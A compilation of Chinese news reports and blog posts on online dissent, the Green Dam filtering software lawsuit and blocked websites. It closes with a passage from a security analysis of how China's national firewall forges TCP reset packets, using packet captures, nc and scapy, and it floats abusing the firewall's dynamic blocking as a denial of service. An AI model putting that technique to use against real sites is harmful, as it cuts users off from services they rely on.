大陆年青人翻墙为王丹做义工

来源：RFA

香港80后的年青人反高铁运动搞的如火如荼，而大陆的年青人对社会的热情也在回升，身在台湾的前六四学运领袖王丹，在成立网络工作组过程中，四分之一的义工来自中国大陆，大多数是20多岁的年轻人。（何山报道）

王丹在网络社群脸书(FACEBOOK)发起呼吁，组建网络工作组，短短四日之后，已经有超过100人报名，当中不乏翻墙进入海外网站，声援并支持 王丹的大陆90后年青人。王丹说，发出建议不到24个小时，已经有超过30义工报名，到了星期四，人数已经过百，他希望透过网络的"脑筋震荡"，点燃一些 推动中国民主进步的点子、主意。

王丹在台湾对本台讲，"现在报名的进度还是比较满意的，因为已经突破了100人，我的工作主题是蛮平均的，各个组都有人报名，所以我对这个效果还是比较满意。"

由于王丹人在台湾，工作组日后的运作，虽然可以透过网络，但目前为此，参与者四份之三是台湾人。

记者：报名的有来自中国大陆的网友吗？
王丹：有，也有，大概也站了快四份之一。我现在感觉到，更年青的一代，这种理想性的热情又回来了，因为从我的脸书上以及网络工作组的报名上看，很多是20岁到30岁左右。

王丹在脸书的呼吁中说，相信他5000多的网友，绝大多数抱持著推进中国民主化而努力的热情，对中国的民主化的未来有高度期待。去到他的社群，除了 讨论、批判、悲愤、呼吁，必须行动，因为今日的世界，网络虚拟空间已经发挥越来越大际作用，利用之使公民社会生长，借助网络把人民的力量组织起来。

王丹说："成立工作组，基本上还著重于筹备性质的工作，就是我们希望，对中国的一些具体的政策，能够收集足够的资讯，收集各种制度性的建议，因为我一直认为，反为运动，要对中国的未来提出建议性的主张，不能仅仅停留在批判的阶段。"

王丹呼吁，中国是自己的，必须以公民意识为起点，积极参与到中国的变局中去。而大陆的民主化，也是台湾的福祉所在，台湾人也不应当置身事外。

美国软件商正式起诉“绿坝”侵权（图）

来源：RFA

美国一家软件商，周二正式起诉数家中国政府和七家主要电脑生产商，称它们生产或预装的“绿坝”软件侵犯了其网络过滤软件的版权，索赔22亿美元。不少中国用户表示支持诉讼。以下是自由亚洲电台驻香港特约记者心语的采访报道

图片：用户购买的电脑中所附赠的“绿坝”光盘 （网友wellsparkson 提供）

位于美国加州圣巴巴拉市一家软件公司 CyberSitter ，一月五日正式于洛杉矶法院控告中国政府与联想、海尔、台湾宏�、华硕、明基、日本索尼及东芝等七家电脑制造商，指控他们安装超过5000万份“绿坝”网 路内容过滤软件，涉嫌侵犯版权、侵占商业秘密、不公平竞争等，要求这些厂商赔偿共计二十二亿美元，也就是一百多亿港元。
 
一直关注“绿坝 软件”事件的香港互联网协会会长、公关专业联盟副主席莫乃光，星期四向本台表示：“纯粹是一个知识产权的案子，需要看这家公司可能有多大的商业上的损失， 这是他们在法庭上需要证明的。至于中国政府因为什么理由来做这件事，我相信这是和他们的商业纠纷没有关系的。”
 
“绿坝”是中国工信部和 一家没有软件产品记录的河南郑州金惠计算机系统工程有限公司，以及另一家北京大正公司共同推出的用户桌面软件，宣传的口径是“要保护青少年不受到黄色内容 的侵害”。但是，后来发现其中的过滤系统包含了大量的政治内容，例如六四、法轮功等。本来是要求电脑厂商必须在2009年7月1日前强制安装在电脑操作系 统中，但消息披露后，遭到公众的巨大反弹。中国知名艺术家艾未未曾经在2009年7月1日在自己的住所召集约500名网民聚会，用罢网一天的方式抗议“绿 坝”。此后，工信部被迫在6月30日晚宣布推迟此计划。该结果被认为是网民的胜利，但是此后该软件仍然“推荐”给厂商做为配选的光盘附带在电脑产品中。
 
据被批露的工信部的内部采购文件显示，中国政府向郑州金惠和北京大正两家公司采购了4170万元人民币的“绿坝-花季护航”软件，提供给网民使用一年。此外，中国政府还强行在网吧和学校中推动安装此软件。本台记者就此事件致电郑州金惠计算机系统工程公司张总经理查询，
 
记者，“我想问一下你知道美国软件厂商正式起诉绿坝侵权这个事情了吗？”
 
张总经理，“你哪里？”
 
记者，“我是香港打来的，自由亚洲电台记者”
 
张总经理，“等过一段时间吧，我还不了解情况。”
 
记者，“但是你对这个事情有什么看法呢？”
 
张总经理，“我现在不回答任何问题，我要了解一下什么情况，谢谢。”
 
记者，“你现在你还继续...”
 
对方尚未等记者问完问题，就挂断了电话。
 
“ 绿坝”本身同时被认为是技术上的笑话，被公众称为“垃圾产品”。除了在通信技术上没有安全保障，而且在软件的判别算法上也是错误百出，造成误判并给用户带 来烦扰，甚至是数据的丢失。“绿坝软件”还涉嫌盗取了多种开放源码的软件代码，并有明显的证据显示，使用了CyberSitter等商用软件的技术和数 据。《华尔街日报》报导说，CyberSitter公司的律师费耶表示，中国软件生产商看来是从Cybersitter服务器上下载了这个程序，并复制了 其中的3,000多行程序代码，然后把它加入到软件“绿坝-花季护航”中。
 
知名博客作者郭卫东就该次美国软件公司的起诉表示：“你用盗用的，未经授权的盗用软件，也就是非法的。你用非法的软件去屏蔽非法的信息，以这种名义本身就很荒谬。”
 
中国的网易新闻网站也转发了CyberSitter 的诉讼消息，但随后被删除。页面显示“对不起!您所访问的页面不存在或者已删除”。
 
 
以上是自由亚洲电台驻香港特约记者心语的采访报道。

翻墙吧，少年！

作者：燕七的妹妹   来源：http://yiyi23201.blog128.fc2.com/blog-entry-6.html

妹儿很会翻墙，有时候会给我一些乱七八糟的网站说有好玩的东西，但是我每每都以找不到服务器告终。然后他就会很热情的说翻墙吧，再每每被我以我是热血萝莉为由拒绝。好吧。那其实是我很懒。

但是，现在我实在是很怀疑我自己……facebook，youtube就算了，BT我也忍了，我吐槽用饭否你封饭否，我写博客用不老歌你封不老歌，我朋友都在blogbus你封blogbus，我上淘宝要看卖家图片你封51.com，你今天居然封imdb……

我实在百思不得其解，imdb倒是怎样惹了你了。。。内牛满面。我不过想看部电影嘛。

so，我都可以想象，妹儿会很得意的说，啊，连热血萝莉也要翻墙了呀。

其实那些东西，我一年也看不上多少次，我也从不去找让自己心堵的东西，体制下生存嘛，其实我的接受度真的够广了。
我只是希望，无论如何，保住这点自由。

imdb被和谐

来源：http://www.jiangzz.cn/?p=460

在这篇文章发布的时（2010年1月7日22:09）imdb仍然无法正常访问。

imdb上得高分的电影都是很好看的电影，虽然有时可能真正的艺术会被圈钱的工具在得上分超越，但是我仍然对imdb很有好感。但是悲剧总是在你感觉不错的时候降临，imdb不知犯了那一条天条，被牛逼的GWF给爆了菊花。

Fuck the Great Firewall !

追加：通过楼下同学的提醒，大家都知道原因是一部关于西藏的电影《云后的太阳》。我只能说胆子都哪里去了，老一辈革命家的气概都哪里去了？连一个电影都要害怕，你们难道已经虚弱成这般田地？！作为一个选民，我质疑政府在维护国家统一上的能力。

对一款国家级内容过滤系统Dos安全缺陷分析

作者：jianxin   来源：http://www.80sec.com/dos-with-xxx.html

对某款国家级内容过滤系统Dos安全缺陷分析

Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-1-2
From: http://www.80sec.com/release/dos-with-XXX.txt

[ 目录 ]

0×00 前言
0×01 know it，了解这款内容过滤系统
0×02 Hack it，对防火墙类ids的一些安全研究
0×03 后话

0×00 前言

最近在学习网络基础知识，秉承Hack to learn的作风，想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生，也被称为国家边界防 火墙，其本质上只是一款强大的入侵检测系统，并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨，对如何绕过它也不做分析，这 里仅仅是将它看作一款功能强大的国家级IPS，从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。

0×01 know it，了解这款内容过滤系统

同一般的入侵检测系统或者其他号称网关级别过滤系统类似，它定义了一些策略以阻止某些危险的网络访问，其策略包含静态封禁也包含动态封禁，譬如对于 Google和Yahoo类搜索引擎来说，国内用户在使用这些站点时如果触发了敏感的关键词的话，其IP就会被动态封禁一段时间，几分钟之类将不能再使用 Google，这里的关键词就是被防火墙所定义的危险行为，譬如拿关键词Freenet/freenet来说，在Google里进行一次搜索请求之后就会 发现Google在几分钟之内将不再能被访问，多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:

首先对正常的一次Google访问抓包，可以看到结果如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:39:26.261092 IP (tos 0×0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840
22:39:26.349797 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0×3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672
22:39:26.350452 IP (tos 0×0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365
22:39:36.161454 IP (tos 0×0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365
22:39:36.248632 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89
22:39:37.476626 IP (tos 0×0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0×3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365
22:39:37.563675 IP (tos 0×0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89
22:39:37.611453 IP (tos 0×0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89
22:39:37.611545 IP (tos 0×0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546
22:39:37.624333 IP (tos 0×0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89
22:39:37.624364 IP (tos 0×0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727
22:39:37.642937 IP (tos 0×0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89
22:39:37.642953 IP (tos 0×0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908
22:39:37.646286 IP (tos 0×0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 > 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89
22:39:37.646302 IP (tos 0×0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083
22:39:37.717617 IP (tos 0×0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89
22:39:37.717634 IP (tos 0×0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264
22:39:37.736610 IP (tos 0×0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89
22:39:37.736645 IP (tos 0×0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445
22:39:37.755088 IP (tos 0×0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 > 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89
22:39:37.755107 IP (tos 0×0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626

我们可以看到完整的一次请求过程，先是三次握手，然后是发数据包以及服务器和客户端之间的完整交互，从这里我们可以识别出Google服务器的一些指纹特征，譬如未设置不分片标志，TTL值比较恒定为50等等。
那么当一次非法的请求发生时，情况会是怎么样的呢？譬如在Google里搜索会被封禁的关键词freenet的时候，结果如下：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
GET /?q=freenet HTTP/1.1

sent 26, rcvd 0
bt ~ #

可以看到一发送非法的请求之后Google就主动断开了链接，整个过程的网络抓包如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:54:15.744058 IP (tos 0×0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840
22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:15.831408 IP (tos 0×0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365
22:54:31.619002 IP (tos 0×0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365
22:54:31.727889 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89
22:54:32.065444 IP (tos 0×0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0×7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605
22:54:32.151504 IP (tos 0×0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89
22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
22:54:32.153474 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×1779 (correct), 1209516568:1209516568(0) win 9805

可以看到的是，用户在发送完push包之后，Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求，并且回复的 ack包的序列号跟预期的一致，这里有两次push是因为我用nc提交的，加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应 我们前面的请求，但是结果我们收到了一个意外的rst包如下：

22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

并且该诡异的tcp包还发了两次，然后我们的客户端就以为服务器重置了该链接，这个时候服务器还老老实实的回复了一个对前面的push包的确认包，不过这个包已经被前面莫名其妙的rst包用掉了，并且客户端也按要求重置了链接，所以就回复了一个rst包：

22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0

恩，这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢？首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹，我们可以看到如下几个地方发生了明显的变化：

22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

首先ttl发生了变化，这在默认情况下基本代表了设备在网络上的位置，另外ID在系统内被用来识别一个tcp包，明显的差异过大，然后Google的服务 器还返回了一堆可选字段的内容，但是那个怪异的rst包完全没有这个特征，通过这些基本可以确认这个rst包并非来自于真正的Google服务器，通过多 抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢？我们简单的tracert下看看结果：

traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets
1 localhost (192.168.1.1) 4.667 ms 1.949 ms 1.650 ms
2 114.249.208.1 (114.249.208.1) 28.304 ms 28.438 ms 34.123 ms
3 125.35.65.97 (125.35.65.97) 26.429 ms 27.363 ms 25.844 ms
4 bt-227-109.bta.net.cn (202.106.227.109) 27.641 ms 26.971 ms 27.268 ms
5 61.148.153.121 (61.148.153.121) 26.936 ms 27.722 ms 27.802 ms
6 123.126.0.121 (123.126.0.121) 27.675 ms 26.996 ms 28.620 ms
7 219.158.4.94 (219.158.4.94) 82.732 ms 82.175 ms 82.608 ms
8 219.158.3.66 (219.158.3.66) 69.978 ms 70.491 ms 136.986 ms
9 219.158.3.130 (219.158.3.130) 77.807 ms 87.424 ms 446.165 ms
10 219.158.32.230 (219.158.32.230) 413.888 ms 87.384 ms 86.614 ms
11 64.233.175.207 (64.233.175.207) 114.188 ms 79.037 ms 113.107 ms
12 209.85.241.56 (209.85.241.56) 87.721 ms 88.063 ms 87.341 ms
13 66.249.94.6 (66.249.94.6) 87.068 ms 99.377 ms 94.140 ms
14 hkg01s01-in-f103.1e100.net (64.233.189.103) 86.094 ms 85.901 ms 86.429 ms

ttl是数据包在网络上的存活时间，每经过一个路由器这个ttl就会减1，可以避免某些数据包无止境的在网络上传输，所以可以被用来确认设备离我们主机在 网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64，我这里用的是linux的系统，一般的网络设备初始值为 64，128，255，linux类系统的初始值一般都为64，所以这里我们可以看到Google返回值是50，这是可以确认的，因为可以看到我们到 google有14跳，一般linux服务器的初始值为64，到我们这正好是50。那么这个ttl=53的异常包是在哪呢？64-13=11，哦，应该是 在11跳左右，到路由上链上找找就发现可能是64.233.175.207这个IP发的，但是去查却会发现这个ip是Google的，米国人民劫持我们的 数据包不让访问Google？不太靠谱啊，那么很可能是从第10旁路出去的包，查查第10跳发现是网通骨干网的，这理论上就是可能的了，当然，这之前的节 点都有可能，但是最有可能的应该还是这个节点，因为这个节点可以监视所有出口的流量嘛！
再来分析下是如何拒绝掉我们的链接的，该设备嫁接在骨干网上，说是嫁接是因为做这个事情的应该不是骨干路由器，从TTL或者其他一些常识可以看出来，毕竟 骨干路由上直接做操作的话风险太大了，不能影响正常应用这是防火墙起码的要求，既然该设备能处于这么一个位置，那么自然可以做到将流量以镜像的方式导入到 自己的设备上，并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的，包括协议，源端口，源IP，目的端口，目的IP，想 完整的控制一个tcp链接还需要在这个基础上加一个seq，ack序列号表示正常的tcp进行的状态，想猜测这些基本是不可能的。黑客多少年梦想的对这些 的预测都可以轻易在骨干路由上的旁路设备实现，在某些省市大行劫持之道的运营商面前，黑客是个弱势群体。既然有五元组，还有序列号，那么对tcp的操作自 然非常简单了，最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包，从我的抓包分析结果来看，看起来这 个结论并不可靠，如果向google发送了rst包的话，那么后面一个push的ack包就应该是没有收到才对。另外可以看到，第一个push包发出去之 后，这个神奇的设备就有了反应，并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包，这个push包触发了特征了。但是我比较奇 怪的是，如果是这样，那么很可能在时间上出现服务器的push包比rst包先到达，这样就起不到阻断的作用，但是从距离和服务器需要对请求响应这点来看， 这发生的几率比较小，另外一种可能是，我们客户端发送的rst包到达Google服务器的时候，服务器的push包已经发送到我们的客户端了，尽管不能完 成展现，但是包已经收到了，不是么，呵呵！另外一点，从多次试验的结果来看，我们通过在系统底层处理掉id=64的包，是可以完成这一次请求的，水平有 限，以后再测试：）
但是这一次的请求被你侥幸获取并不能意味着什么，防火墙的另外一个强大功能你还没有体验，那就是灰名单动态封禁功能，通过上面的请求，你已经被认为是黑客 触发了防火墙的规则，你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下，这里演示的是nc链接到服务器并且 断掉的结果：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
sent 0, rcvd 0
bt ~ #

这里我按了下ctrl+c的

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:53:12.553207 IP (tos 0×0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840
21:53:12.637507 IP (tos 0×0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672
21:53:12.637539 IP (tos 0×0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.110166 IP (tos 0×0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.206770 IP (tos 0×0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89
21:53:18.206805 IP (tos 0×0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365

那么如果触发规则之后的请求是什么样子的呢：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:18:31.651147 IP (tos 0×0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0×6925 (correct), 3774335672:3774335672(0) win 5840
00:18:31.739447 IP (tos 0×0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0×97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672
00:18:31.739469 IP (tos 0×0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365
00:18:31.820608 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0×6ea9 (correct), 3821251814:3821251814(0) win 12379

三次握手之后，立刻那个莫名其妙rst包出现了，就在服务器等待客户端给它数据的时候，我们一个rst包结束了这个tcp连接的生命，这个特征依然很明显，id是64，ttl=53。但是在另外的一次测试过程中，我抓到了这样的包：

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:47:54.614462 IP (tos 0×0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0×8ead (correct), 1951758128:1951758128(0) win 5840
21:47:54.691420 IP (tos 0×0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0×273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453
21:47:54.691449 IP (tos 0×0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.696983 IP (tos 0×0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672
21:47:54.696998 IP (tos 0×0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.700298 IP (tos 0×0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×292f (correct), 794483023:794483023(0) ack 1951758129 win 454
21:47:54.769090 IP (tos 0×0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457
21:47:54.769853 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679
21:47:54.773332 IP (tos 0×0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0
21:47:54.774292 IP (tos 0×0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459
21:47:54.775939 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811
21:47:54.778871 IP (tos 0×0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0

一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求，而Google的回应却因为序列号出现差错导致服务器给我们发重置包， 而在此过程中，ttl=43,46,53,48的，ID模拟正常的服务器向我们连回了N个rst包，这个链接必死无疑了，可见它多么痛恨我这个链接。也许 我抓到的并不是最全的，但是基本原理应该都类似的，而且这种发送的ID，ttl都是伪造的，以这种方式很难定位到具体的设备位置和直接过滤掉，后面会说到 另外一种定位方法：）这个动态的ACL在过两分钟最后会被清除，用户恢复对网站的访问。

0×02 Hack it，对防火墙类ids的一些安全研究

我们在黑盒的方式了解了此类ids的基本原理之后，就可以想想这类ids的一些安全问题了，这里说的安全问题不是上面提到的绕过，而是其他我们在日常工作 中可能遇到的问题，这里对设备的性能测试，误报率等也不做研究，这些也不是我们可以去考虑的问题，这里主要是来自于一个思路，既然这个神奇的设备已经作为 一个基本安全设施，它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos，据一些媒体说美国也有类似的设施，但是美国只 会记录而不会做类似于IPS的动作主动切断有威胁的的双方，这里的测试不再是被动的抓包了，我们使用一款强大的网络数据包调试工具，scapy，对于我这 种只有脚本基础的人来说比较容易上手，基本用法如下：

Welcome to Scapy (v1.1.1 / f88d99910220)
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = (’127.0.0.1′)
options : IPoptionsField = (”)
>>> ls(TCP)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
>>>

我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去，譬如：

